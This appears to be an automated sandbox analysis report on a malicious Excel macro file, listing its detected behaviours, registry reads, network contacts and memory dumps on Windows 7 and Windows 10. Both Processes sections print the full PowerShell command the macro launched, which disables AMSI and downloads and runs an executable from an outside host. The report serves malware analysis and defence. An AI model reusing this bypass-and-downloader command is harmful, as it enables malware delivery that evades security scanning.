Malware Analysis Report

2024-10-24 17:09

Sample ID 240909-tk1d1axcpj
Target d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118
SHA256 e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10
Tags
macro xlm macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10

Threat Level: Known bad

The file d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

macro xlm macro_on_action discovery execution

Process spawned unexpected child process

Office macro that triggers on suspicious action

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Suspicious Office macro

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Checks processor information in registry

Suspicious use of FindShellTrayWindow

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-09 16:07

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-09 16:07

Reported

2024-09-09 16:10

Platform

win7-20240903-en

Max time kernel

126s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 soilex.co.ke udp
US 66.248.237.7:80 soilex.co.ke tcp

Files

memory/1192-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1192-1-0x000000007292D000-0x0000000072938000-memory.dmp

memory/1192-23-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-33-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-32-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-31-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-36-0x000000007292D000-0x0000000072938000-memory.dmp

memory/1192-37-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-38-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-39-0x0000000006B40000-0x0000000006C40000-memory.dmp

memory/1192-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1192-42-0x000000007292D000-0x0000000072938000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-09 16:07

Reported

2024-09-09 16:10

Platform

win10v2004-20240802-en

Max time kernel

130s

Max time network

145s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 soilex.co.ke udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 9.173.189.20.in-addr.arpa udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 66.255.123.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 37.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp

Files

memory/4860-1-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp

memory/4860-0-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-3-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-4-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-2-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-9-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-11-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-10-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-12-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp

memory/4860-8-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-13-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-14-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-18-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-17-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-21-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-20-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-19-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp

memory/4860-16-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-15-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-7-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-6-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-5-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-30-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-64-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-66-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-65-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/1900-67-0x0000022B00000000-0x0000022B00022000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5jazscug.s4i.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4860-77-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

memory/4860-78-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp

memory/4860-79-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 60a37022503fd9ac7053beb4f1d666fb
SHA1 74d113e6388730104a8b8bafb245e61cfbe44d4a
SHA256 a1bb304b965c5c3103c362c9ac3f7842deae5bd9d633d6478bd7393a5ffe8b71
SHA512 0b4069e88478199d1e739b167d63c10ce17fc5776857c4470037e349d99dbfd792613e7ce49d5aa640ec7b77707ad065cc8caa65e491691076c619b77c68429f

memory/4860-109-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-110-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-112-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-111-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

memory/4860-113-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp